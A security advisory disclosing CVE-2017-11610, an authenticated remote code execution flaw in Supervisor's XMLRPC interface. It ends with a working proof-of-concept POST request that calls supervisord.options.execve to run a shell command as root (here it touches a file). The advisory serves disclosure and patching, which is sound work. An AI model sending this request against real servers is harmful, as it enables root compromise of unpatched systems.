SSD Advisory – Supervisor Authenticated Remote Code Execution

Vulnerability Summary
The following advisory describes an authenticated remote code execution vulnerability in Supervisor version 3.1.2 and Supervisor version 3.3.2.
Supervisor is a client/server system that allows its users to monitor and control a number of processes on UNIX-like operating systems – used to control processes related to a project or a customer, and is meant to start like any other program at boot time.
Credit
An independent security researcher, Calum Hutton, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
The vendor has released patches to address this vulnerability.
For more information: https://github.com/Supervisor/supervisor/issues/964
CVE: CVE-2017-11610

Vulnerability details
Supervisord provides a web server, running on port 9001, that allows users to manage their processes using a web interface. When this server is enabled, an XMLRPC server is also enabled at :9001/RPC2
Any user with access to the web interface can also send commands to the XMLRPC endpoint. Authentication may be required for access, and is determined in the config file.
It is possible to abuse the XMLRPC server to issue malicious commands (which are somewhat restricted) at the OS level as the root user, because of a lack of validation on requested XMLRPC methods.
There are two allowed namespaces for the allowed XMLRPC methods, system and supervisor, mapped to https://github.com/Supervisor/supervisor/blob/3.3.2/supervisor/xmlrpc.py#L174
and https://github.com/Supervisor/supervisor/blob/3.3.2/supervisor/xmlrpc.py#L174,
respectively. Allowed methods include (snippet of the XML response to system.listMethods):

<value><string>supervisor.getPID</string></value>
<value><string>supervisor.getProcessInfo</string></value>
<value><string>supervisor.getState</string></value>
<value><string>supervisor.getSupervisorVersion</string></value>
<value><string>supervisor.getVersion</string></value>
<value><string>supervisor.readLog</string></value>
<value><string>supervisor.readMainLog</string></value>
<value><string>supervisor.readProcessLog</string></value>
<value><string>supervisor.readProcessStderrLog</string></value>
<value><string>supervisor.readProcessStdoutLog</string></value>
<value><string>supervisor.reloadConfig</string></value>
<value><string>supervisor.removeProcessGroup</string></value>
<value><string>supervisor.restart</string></value>
<value><string>supervisor.sendProcessStdin</string></value>
<value><string>supervisor.sendRemoteCommEvent</string></value>
<value><string>supervisor.shutdown</string></value> 

It is possible to access the malicious functions by appending supervisord.options to the namespace. In particular, the execve function in https://github.com/Supervisor/supervisor/blob/3.3.2/supervisor/options.py#L1438 which simply calls Pythons own os.execve() function.
Proof of Concept
The following POST request triggers the vulnerability in supervisor.supervisord.options.execve function which allows an attacker to execute arbitrary commands as root.
The below payload utilises python on the target system to touch a file at /tmp/blahh:

POST http://192.168.0.15:9001/RPC2 HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/xml
Content-Type: text/xml
Accept-Language: en-GB,en;q=0.5
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 503
Host: 192.168.0.15:9001
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.execve</methodName>
<params>
<param>
<string>/usr/bin/python</string>
</param>
<param>
<array>
<data>
<value><string>python</string></value>
<value><string>-c</string></value>
<value><string>import os; os.system("touch /tmp/blahh")</string></value>
</data>
</array>
</param>
<param>
<struct>
</struct>
</param>
</params>
</methodCall>